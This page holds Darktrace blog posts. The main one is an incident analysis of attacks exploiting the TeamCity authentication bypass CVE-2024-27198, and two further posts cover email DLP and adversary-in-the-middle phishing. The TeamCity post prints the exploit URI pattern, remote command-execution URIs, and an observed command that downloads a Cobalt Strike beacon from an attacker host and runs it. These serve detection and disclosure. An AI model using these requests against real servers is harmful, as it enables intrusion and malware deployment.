August 21, 2024

How Darktrace Detects TeamCity Exploitation Activity

Darktrace observed the rapid exploitation of a critical vulnerability in JetBrains TeamCity (CVE-2024-27198) shortly following its public disclosure. Learn how the need for speedy detection serves to protect against supply chain attacks.

Written by

Justin Frank

Product Manager and Cyber Analyst

Inside the SOC

Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.

Written by

Justin Frank

Product Manager and Cyber Analyst

Aug 2024

The rise in vulnerability exploitation

In recent years, threat actors have increasingly been observed exploiting endpoints and services associated with critical vulnerabilities almost immediately after those vulnerabilities are publicly disclosed. The time-to-exploit for internet-facing servers is accelerating as the risk of vulnerabilities in web components continuously grows. This growth demands faster detection and response from organizations and their security teams to ward off the rising number of exploitation attempts. One such case is that of CVE-2024-27198, a critical vulnerability in TeamCity On-Premises, a popular continuous integration and continuous delivery/deployment (CI/CD) solution for DevOps teams developed by JetBrains.

The disclosure of TeamCity vulnerabilities

On March 4, 2024, JetBrains published an advisory regarding two authentication bypass vulnerabilities, CVE-2024-27198 and CVE-2024-27199, affecting TeamCity On-Premises version 2023.11.3. and all earlier versions [1].

The most severe of the two vulnerabilities, CVE-2024-27198, would enable an attacker to take full control over all TeamCity projects and use their position as a suitable vector for a significant attack across the organization’s supply chain. The other vulnerability, CVE-2024-27199, was disclosed to be a path traversal bug that allows attackers to perform limited administrative actions. On the same day, several proof-of-exploits for CVE-2024-27198 were created and shared for public use; in effect, enabling anyone with the means and intent to validate whether a TeamCity device is affected by this vulnerability [2][3].

Using CVE-2024-27198, an attacker is able to successfully call an authenticated endpoint with no authentication, if they meet three requirements during an HTTP(S) request:

Request an unauthenticated resource that generates a 404 response.

/hax

Pass an HTTP query parameter named jsp containing the value of an authenticated URI path.

?jsp=/app/rest/server

Ensure the arbitrary URI path ends with .jsp by appending an HTTP path parameter segment.

;.jsp

Once combined, the URI path used by the attacker becomes:

/hax?jsp=/app/rest/server;.jsp

Over 30,000 organizations use TeamCity to automate and build testing and deployment processes for software projects. As various On-Premises servers are internet-facing, it became a short matter of time until exposed devices were faced with the inevitable rush of exploitation attempts. On March 7, the Cybersecurity and Infrastructure Security Agency (CISA) confirmed this by adding CVE-2024-27198 to its Known Exploited Catalog and noted that it was being actively used in ransomware campaigns. A shortened time-to-exploit has become fairly common for software known to be deeply embedded into an organization’s supply chain. Darktrace detected exploitation attempts of this vulnerability in the two days following JetBrains’ disclosure [4] [5].

Shortly after the disclosure of CVE-2024-27198, Darktrace observed malicious actors attempting to validate proof-of-exploits on a number of customer environments in the financial sector. After attackers validated the presence of the vulnerability on customer networks, Darktrace observed a series of suspicious activities including malicious file downloads, command-and-control (C2) connectivity and, in some cases, the delivery of cryptocurrency miners to TeamCity devices.

Fortunately, Darktrace was able to identify this malicious post-exploitation activity on compromised servers at the earliest possible stage, notifying affected customers and advising them to take urgent mitigative actions.

Attack details

Exploit Validation Activity

On March 6, just two days after the public disclosure of CVE-2024-27198, Darktrace first observed a customer being affected by the exploitation of the vulnerability when a TeamCity device received suspicious HTTP connections from the external endpoint, 83.97.20[.]141. This endpoint was later confirmed to be malicious and linked with the exploitation of TeamCity vulnerabilities by open-source intelligence (OSINT) sources [6]. The new user agent observed during these connections suggest they were performed using Python.

Figure 1: Advanced Search results shows the user agent (python-requests/2.25) performing initial stages of exploit validation for CVE-2024-27198.

The initial HTTP requests contained the following URIs:

/hax?jsp=/app/rest/server;[.]jsp

/hax?jsp=/app/rest/users;[.]jsp

These URIs match the exact criteria needed to exploit CVE-2024-27198 and initiate malicious unauthenicated requests. Darktrace / NETWORK recognized that these HTTP connections were suspicious, thus triggering the following models to alert:

Device / New User Agent
Anomalous Connection / New User Agent to IP Without Hostname

Establish C2

Around an hour later, Darktrace observed subsequent requests suggesting that the attacker began reconnaissance of the vulnerable device with the following URIs:

/app/rest/debug/processes?exePath=/bin/sh&params=-c&params=echo+ReadyGO

/app/rest/debug/processes?exePath=cmd.exe&params=/c&params=echo+ReadyGO

These URIs set an executable path to /bin/sh or cmd.exe; instructing the shell of either a Unix-like or Windows operating system to execute the command echo ReadyGO. This will display “ReadyGO” to the attacker and validate which operating system is being used by this TeamCity server.

The same vulnerable device was then seen downloading an executable file, “beacon.out”, from the aforementioned external endpoint via HTTP on port 81, using a new user agent curl/8.4.0.

Figure 2: Darktrace’s Cyber AI Analyst detecting suspicious download of an executable file.

Figure 3: Advanced Search overview of the URIs used in the HTTP requests.

Subsequently, the attacker was seen using the curl command on the vulnerable TeamCity device to perform the following call:

“/app/rest/debug/processes?exePath=cmd[.]exe&params=/c&params=curl+hxxp://83.97.20[.]141:81/beacon.out+-o+.conf+&&+chmod++x+.conf+&&+./.conf”.

in attempt to pass the following command to the device’s command line interpreter:

“curl http://83.97.20[.]141:81/beacon.out -o .conf && chmod +x .conf && ./.conf”

From here, the attacker attempted to fetch the contents of the “beacon.out” file and create a new executable file from its output. This was done by using the -o parameter to output the results of the “beacon.out” file into a “.conf” file. Then using chmod+x to modify the file access permissions and make this file an executable aswell, before running the newly created “.conf” file.

Further investigation into the “beacon.out” file uncovered that is uses the Cobalt Strike framework. Cobalt Strike would allow for the creation of beacon components that can be configured to use HTTP to reach a C2 host [7] [8].

Cryptocurrency Mining Activities

Interestingly, prior to the confirmed exploitation of CVE-2024-27198, Darktrace observed the same vulnerable device being targeted in an attempt to deploy cryptocurrency mining malware, using a variant of the open-source mining software, XMRig. Deploying crypto-miners on vulnerable internet-facing appliances is a common tactic by financially motivated attackers, as was seen with Ivanti appliances in January 2024 [9].

Figure 4: Darktrace’s Cyber AI Analyst detects suspicious C2 activity over HTTP.

On March 5, Darktrace observed the TeamCity device connecting to another to rare, external endpoint, 146.70.149[.]185, this time using a “Windows Installer” user agent: “146.70.149[.]185:81/JavaAccessBridge-64.msi”. Similar threat activity highlighted by security researchers in January 2024, pointed to the use of a XMRig installer masquerading as an official Java utlity: “JavaAccessBridge-64.msi”. [10]

Further investigation into the external endpoint and URL address structuring, uncovered additional URIs: one serving crypto-mining malware over port 58090 and the other a C2 panel hosted on the same endpoint: “146.70.149[.]185:58090/1.sh”.

Figure 5:Crypto mining malware served over port 58090 of the rare external endpoint.

146.70.149[.]185/uadmin/adm.php

Figure 6: C2 panel on same external endpoint.

Upon closer observation, the panel resembles that of the Phishing-as-a-Service (PhaaS) provided by the “V3Bphishing kit” – a sophisticated phishing kit used to target financial institutions and their customers [11].

Darktrace Coverage

Throughout the course of this incident, Darktrace’s Cyber AI Analyst™ was able to autonomously investigate the ongoing post-exploitation activity and connect the individual events, viewing the individual suspicious connections and downloads as part of a wider compromise incident, rather than isolated events.

Figure 7: Darktrace’s Cyber AI Analyst investigates suspicious download activity.

As this particular customer was subscribed to Darktrace’s Managed Threat Detection service at the time of the attack, their internal security team was immediately notified of the ongoing compromise, and the activity was raised to Darktrace’s Security Operations Center (SOC) for triage and investigation.

Unfortunately, Darktrace’s Autonomous Response capabilities were not configured to take action on the vulnerable TeamCity device, and the attack was able to escalate until Darktrace’s SOC brought it to the customer’s attention. Had Darktrace been enabled in Autonomous Response mode, it would have been able to quickly contain the attack from the initial beaconing connections through the network inhibitor ‘Block matching connections’. Some examples of autonomous response models that likely would have been triggered include:

Antigena Crypto Currency Mining Block - Network Inhibitor (Block matching connections)
Antigena Suspicious File Block - Network Inhibitor (Block matching connections)

Despite the lack of autonomous response, Darktrace’s Self-Learning AI was still able to detect and alert for the anomalous network activity being carried out by malicious actors who had successfully exploited CVE-2024-27198 in TeamCity On-Premises.

Conclusion

In the observed cases of the JetBrains TeamCity vulnerabilities being exploited across the Darktrace fleet, Darktrace was able to pre-emptively identify and, in some cases, contain network compromises from the onset, offering vital protection against a potentially disruptive supply chain attack.

While the exploitation activity observed by Darktrace confirms the pervasive use of public exploit code, an important takeaway is the time needed for threat actors to employ such exploits in their arsenal. It suggests that threat actors are speeding up augmentation to their tactics, techniques and procedures (TTPs), especially from the moment a critical vulnerability is publicly disclosed. In fact, external security researchers have shown that CVE-2024-27198 had seen exploitation attempts within 22 minutes of a public exploit code being released [12][13] [14].

While new vulnerabilities will inevitably surface and threat actors will continually look for novel or AI-augmented ways to evolve their methods, Darktrace’s AI-driven detection capabilities and behavioral analysis offers organizations full visibility over novel or unknown threats. Rather than relying on only existing threat intelligence, Darktrace is able to detect emerging activity based on anomaly and respond to it without latency, safeguarding customer environments whilst causing minimal disruption to business operations.

Credit to Justin Frank (Cyber Analyst & Newsroom Product Manager) and Daniela Alvarado (Senior Cyber Analyst)

Appendices

References

[1] https://blog.jetbrains.com/teamcity/2024/03/additional-critical-security-issues-affecting-teamcity-on-premises-cve-2024-27198-and-cve-2024-27199-update-to-2023-11-4-now/

[2] https://github.com/Chocapikk/CVE-2024-27198

[3] https://www.rapid7.com/blog/post/2024/03/04/etr-cve-2024-27198-and-cve-2024-27199-jetbrains-teamcity-multiple-authentication-bypass-vulnerabilities-fixed/

[4] https://www.darkreading.com/cyberattacks-data-breaches/jetbrains-teamcity-mass-exploitation-underway-rogue-accounts-thrive

[5] https://www.gartner.com/en/documents/5524495
[6]https://www.virustotal.com/gui/ip-address/83.97.20.141

[7] https://thehackernews.com/2024/03/teamcity-flaw-leads-to-surge-in.html

[8] https://www.cobaltstrike.com/product/features/beacon

[9] https://darktrace.com/blog/the-unknown-unknowns-post-exploitation-activities-of-ivanti-cs-ps-appliances

[10] https://www.trendmicro.com/en_us/research/24/c/teamcity-vulnerability-exploits-lead-to-jasmin-ransomware.html

[11] https://www.resecurity.com/blog/article/cybercriminals-attack-banking-customers-in-eu-with-v3b-phishing-kit

[12] https://www.ncsc.gov.uk/report/impact-of-ai-on-cyber-threat

[13] https://www2.deloitte.com/content/dam/Deloitte/us/Documents/risk/us-design-ai-threat-report-v2.pdf

[14] https://blog.cloudflare.com/application-security-report-2024-update

[15] https://www.virustotal.com/gui/file/1320e6dd39d9fdb901ae64713594b1153ee6244daa84c2336cf75a2a0b726b3c

‍Darktrace Model Detections

Device / New User Agent

Anomalous Connection / New User Agent to IP Without Hostname

Anomalous Connection / Callback on Web Facing Device

Anomalous Connection / Application Protocol on Uncommon Port

Anomalous File / EXE from Rare External Location

Anomalous File / Internet Facing System File Download

Anomalous Server Activity / New User Agent from Internet Facing System

Device / Initial Breach Chain Compromise

Device / Internet Facing Device with High Priority Alert

Indicators of Compromise (IoC)

IoC - Type – Description

/hax?jsp=/app/rest/server;[.]jsp - URI

/app/rest/debug/processes?exePath=/bin/sh&params=-c&params=echo+ReadyGO - URI

/app/rest/debug/processes?exePath=cmd.exe&params=/c&params=echo+ReadyGO – URI -

db6bd96b152314db3c430df41b83fcf2e5712281 - SHA1 – Malicious file

/beacon.out - URI -

/JavaAccessBridge-64.msi - MSI Installer

/app/rest/debug/processes?exePath=cmd[.]exe&params=/c&params=curl+hxxp://83.97.20[.]141:81/beacon.out+-o+.conf+&&+chmod++x+.conf+&&+./.con - URI

146.70.149[.]185:81 - IP – Malicious Endpoint

83.97.20[.]141:81 - IP – Malicious Endpoint

MITRE ATT&CK Mapping

Initial Access - Exploit Public-Facing Application - T1190

Execution - PowerShell - T1059.001

Command and Control - Ingress Tool Transfer - T1105

Resource Development - Obtain Capabilities - T1588

Execution - Vulnerabilities - T1588.006

Written by

Justin Frank

Product Manager and Cyber Analyst

Inside the SOC

Written by

Justin Frank

Product Manager and Cyber Analyst

Senior Product Marketing Manager, Email

Watch the NIS2 Webinar

Blog

Email

December 18, 2025

Why organizations are moving to label-free, behavioral DLP for outbound email

Why outbound email DLP needs reinventing

In 2025, the global average cost of a data breach fell slightly — but remains substantial at USD 4.44 million (IBM Cost of a Data Breach Report 2025). The headline figure hides a painful reality: many of these breaches stem not from sophisticated hacks, but from simple human error: mis-sent emails, accidental forwarding, or replying with the wrong attachment. Because outbound email is a common channel for sensitive data leaving an organization, the risk posed by everyday mistakes is enormous.

In 2025, 53% of data breaches involved customer PII, making it the most commonly compromised asset (IBM Cost of a Data Breach Report 2025). This makes “protection at the moment of send” essential. A single unintended disclosure can trigger compliance violations, regulatory scrutiny, and erosion of customer trust –consequences that are disproportionate to the marginal human errors that cause them.

Traditional DLP has long attempted to mitigate these impacts, but it relies heavily on perfect labelling and rigid pattern-matching. In reality, data loss rarely presents itself as a neat, well-structured pattern waiting to be caught – it looks like everyday communication, just slightly out of context.

How data loss actually happens

Most data loss comes from frustratingly familiar scenarios. A mistyped name in auto-complete sends sensitive data to the wrong “Alex.” A user forwards a document to a personal Gmail account “just this once.” Someone shares an attachment with a new or unknown correspondent without realizing how sensitive it is.

Traditional, content-centric DLP rarely catches these moments. Labels are missing or wrong. Regexes break the moment the data shifts formats. And static rules can’t interpret the context that actually matters – the sender-recipient relationship, the communication history, or whether this behavior is typical for the user.

It’s the everyday mistakes that hurt the most. The classic example: the Friday 5:58 p.m. mis-send, when auto-complete selects Martin, a former contractor, instead of Marta in Finance.

What traditional DLP approaches offer (and where gaps remain)

Most email DLP today follows two patterns, each useful but incomplete.

Policy- and label-centric DLP works when labels are correct — but content is often unlabeled or mislabeled, and maintaining classification adds friction. Gaps appear exactly where users move fastest
Rule and signature-based approaches catch known patterns but miss nuance: human error, new workflows, and “unknown unknowns” that don’t match a rule

The takeaway: Protection must combine content + behavior + explainability at send time, without depending on perfect labels.

Your technology primer: The three pillars that make outbound DLP effective

1) Label-free (vs. data classification)

Protects all content, not just what’s labeled. Label-free analysis removes classification overhead and closes gaps from missing or incorrect tags. By evaluating content and context at send time, it also catches misdelivery and other payload-free errors.

No labeling burden; no regex/rule maintenance
Works when tags are missing, wrong, or stale
Detects misdirected sends even when labels look right

2) Behavioral (vs. rules, signatures, threat intelligence)

Understands user behavior, not just static patterns. Behavioral analysis learns what’s normal for each person, surfacing human error and subtle exfiltration that rules can’t. It also incorporates account signals and inbound intel, extending across email and Teams.

Flags risk without predefined rules or IOCs
Catches misdelivery, unusual contacts, personal forwards, odd timing/volume
Blends identity and inbound context across channels

3) Proprietary DSLM (vs. generic LLM)

Optimized for precise, fast, explainable on-send decisions. A DSLM understands email/DLP semantics, avoids generative risks, and stays auditable and privacy-controlled, delivering intelligence reliably without slowing mail flow.

Low-latency, on-send enforcement
Non-generative for predictable, explainable outcomes
Governed model with strong privacy and auditability

The Darktrace approach to DLP

Darktrace / EMAIL – DLP stops misdelivery and sensitive data loss at send time using hold/notify/justify/release actions. It blends behavioral insight with content understanding across 35+ PII categories, protecting both labeled and unlabeled data. Every action is paired with clear explainability: AI narratives show exactly why an email was flagged, supporting analysts and helping end-users learn. Deployment aligns cleanly with existing SOC workflows through mail-flow connectors and optional Microsoft Purview label ingestion, without forcing duplicate policy-building.

Deployment is simple: Microsoft 365 routes outbound mail to Darktrace for real-time, inline decisions without regex or rule-heavy setup.

A buyer’s checklist for DLP solutions

When choosing your DLP solution, you want to be sure that it can deliver precise, explainable protection at the moment it matters – on send – without operational drag.

To finish, we’ve compiled a handy list of questions you can ask before choosing an outbound DLP solution:

Can it operate label free when tags are missing or wrong? 
Does it truly learn per user behavior (no shortcuts)? 
Is there a domain specific model behind the content understanding (not a generic LLM)? 
Does it explain decisions to both analysts and end users? 
Will it integrate with your label program and SOC workflows rather than duplicate them?

For a deep dive into Darktrace’s DLP solution, check out the full solution brief.

[related-resource]

About the author

Carlos Gray

Senior Product Marketing Manager, Email

Blog

Email

December 17, 2025

Beyond MFA: Detecting Adversary-in-the-Middle Attacks and Phishing with Darktrace

What is an Adversary-in-the-middle (AiTM) attack?

Adversary-in-the-Middle (AiTM) attacks are a sophisticated technique often paired with phishing campaigns to steal user credentials. Unlike traditional phishing, which multi-factor authentication (MFA) increasingly mitigates, AiTM attacks leverage reverse proxy servers to intercept authentication tokens and session cookies. This allows attackers to bypass MFA entirely and hijack active sessions, stealthily maintaining access without repeated logins.

This blog examines a real-world incident detected during a Darktrace customer trial, highlighting how Darktrace / EMAIL^TM and Darktrace / IDENTITY^TM identified the emerging compromise in a customer’s email and software-as-a-service (SaaS) environment, tracked its progression, and could have intervened at critical moments to contain the threat had Darktrace’s Autonomous Response capability been enabled.

What does an AiTM attack look like?

Inbound phishing email

Attacks typically begin with a phishing email, often originating from the compromised account of a known contact like a vendor or business partner. These emails will often contain malicious links or attachments leading to fake login pages designed to spoof legitimate login platforms, like Microsoft 365, designed to harvest user credentials.

Proxy-based credential theft and session hijacking

When a user clicks on a malicious link, they are redirected through an attacker-controlled proxy that impersonates legitimate services. This proxy forwards login requests to Microsoft, making the login page appear legitimate. After the user successfully completes MFA, the attacker captures credentials and session tokens, enabling full account takeover without the need for reauthentication.

Follow-on attacks

Once inside, attackers will typically establish persistence through the creation of email rules or registering OAuth applications. From there, they often act on their objectives, exfiltrating sensitive data and launching additional business email compromise (BEC) campaigns. These campaigns can include fraudulent payment requests to external contacts or internal phishing designed to compromise more accounts and enable lateral movement across the organization.

Darktrace’s detection of an AiTM attack

At the end of September 2025, Darktrace detected one such example of an AiTM attack on the network of a customer trialling Darktrace / EMAIL and Darktrace / IDENTITY.

In this instance, the first indicator of compromise observed by Darktrace was the creation of a malicious email rule on one of the customer’s Office 365 accounts, suggesting the account had likely already been compromised before Darktrace was deployed for the trial.

Darktrace / IDENTITY observed the account creating a new email rule with a randomly generated name, likely to hide its presence from the legitimate account owner. The rule marked all inbound emails as read and deleted them, while ignoring any existing mail rules on the account. This rule was likely intended to conceal any replies to malicious emails the attacker had sent from the legitimate account owner and to facilitate further phishing attempts.

Figure 1: Darktrace’s detection of the anomalous email rule creation.

Internal and external phishing

Following the creation of the email rule, Darktrace / EMAIL observed a surge of suspicious activity on the user’s account. The account sent emails with subject lines referencing payment information to over 9,000 different external recipients within just one hour. Darktrace also identified that these emails contained a link to an unusual Google Drive endpoint, embedded in the text “download order and invoice”.

Figure 2: Darkrace’s detection of an unusual surge in outbound emails containing suspicious content, shortly following the creation of a new email rule.

Figure 3: Darktrace / EMAIL’s detection of the compromised account sending over 9,000 external phishing emails, containing an unusual Google Drive link.

As Darktrace / EMAIL flagged the message with the ‘Compromise Indicators’ tag (Figure 2), it would have been held automatically if the customer had enabled default Data Loss Prevention (DLP) Action Flows in their email environment, preventing any external phishing attempts.

Figure 4: Darktrace / EMAIL’s preview of the email sent by the offending account.

Darktrace analysis revealed that, after clicking the malicious link in the email, recipients would be redirected to a convincing landing page that closely mimicked the customer’s legitimate branding, including authentic imagery and logos, where prompted to download with a PDF named “invoice”.

Figure 5: Download and login prompts presented to recipients after following the malicious email link, shown here in safe view.

After clicking the “Download” button, users would be prompted to enter their company credentials on a page that was likely a credential-harvesting tool, designed to steal corporate login details and enable further compromise of SaaS and email accounts.

Darktrace’s Response

In this case, Darktrace’s Autonomous Response was not fully enabled across the customer’s email or SaaS environments, allowing the compromise to progress, as observed by Darktrace here.

Despite this, Darktrace / EMAIL’s successful detection of the malicious Google Drive link in the internal phishing emails prompted it to suggest ‘Lock Link’, as a recommended action for the customer’s security team to manually apply. This action would have automatically placed the malicious link behind a warning or screening page blocking users from visiting it.

Figure 6: Autonomous Response suggesting locking the malicious Google Drive link sent in internal phishing emails.

Furthermore, if active in the customer’s SaaS environment, Darktrace would likely have been able to mitigate the threat even earlier, at the point of the first unusual activity: the creation of a new email rule. Mitigative actions would have included forcing the user to log out, terminating any active sessions, and disabling the account.

Conclusion

AiTM attacks represent a significant evolution in credential theft techniques, enabling attackers to bypass MFA and hijack active sessions through reverse proxy infrastructure. In the real-world case we explored, Darktrace’s AI-driven detection identified multiple stages of the attack, from anomalous email rule creation to suspicious internal email activity, demonstrating how Autonomous Response could have contained the threat before escalation.

MFA is a critical security measure, but it is no longer a silver bullet. Attackers are increasingly targeting session tokens rather than passwords, exploiting trusted SaaS environments and internal communications to remain undetected. Behavioral AI provides a vital layer of defense by spotting subtle anomalies that traditional tools often miss

Security teams must move beyond static defenses and embrace adaptive, AI-driven solutions that can detect and respond in real time. Regularly review SaaS configurations, enforce conditional access policies, and deploy technologies that understand “normal” behavior to stop attackers before they succeed.

Credit to David Ison (Cyber Analyst), Bertille Pierron (Solutions Engineer), Ryan Traill (Analyst Content Lead)

Appendices

Models

SaaS / Anomalous New Email Rule

Tactic – Technique – Sub-Technique

Phishing - T1566

Adversary-in-the-Middle - T1557

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Check out this article by Darktrace: How Darktrace Detects TeamCity Exploitation Activity

How Darktrace Detects TeamCity Exploitation Activity

The rise in vulnerability exploitation

The disclosure of TeamCity vulnerabilities

Attack details

Exploit Validation Activity

Establish C2

Cryptocurrency Mining Activities

Darktrace Coverage

Conclusion

Appendices

References

‍Darktrace Model Detections

Indicators of Compromise (IoC)

MITRE ATT&CK Mapping

Beyond MFA: Detecting Adversary-in-the-Middle Attacks and Phishing with Darktrace

Why organizations are moving to label-free, behavioral DLP for outbound email

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CastleLoader & CastleRAT: Behind TAG150’s Modular Malware Delivery System

Blog

Email

December 18, 2025

Why organizations are moving to label-free, behavioral DLP for outbound email

Why outbound email DLP needs reinventing

How data loss actually happens

What traditional DLP approaches offer (and where gaps remain)

Your technology primer: The three pillars that make outbound DLP effective

1) Label-free (vs. data classification)

2) Behavioral (vs. rules, signatures, threat intelligence)

3) Proprietary DSLM (vs. generic LLM)

The Darktrace approach to DLP

A buyer’s checklist for DLP solutions

Blog

Email

December 17, 2025

Beyond MFA: Detecting Adversary-in-the-Middle Attacks and Phishing with Darktrace

What is an Adversary-in-the-middle (AiTM) attack?

What does an AiTM attack look like?

Inbound phishing email

Proxy-based credential theft and session hijacking

Follow-on attacks

Darktrace’s detection of an AiTM attack

Internal and external phishing

Darktrace’s Response

Conclusion

Appendices

Models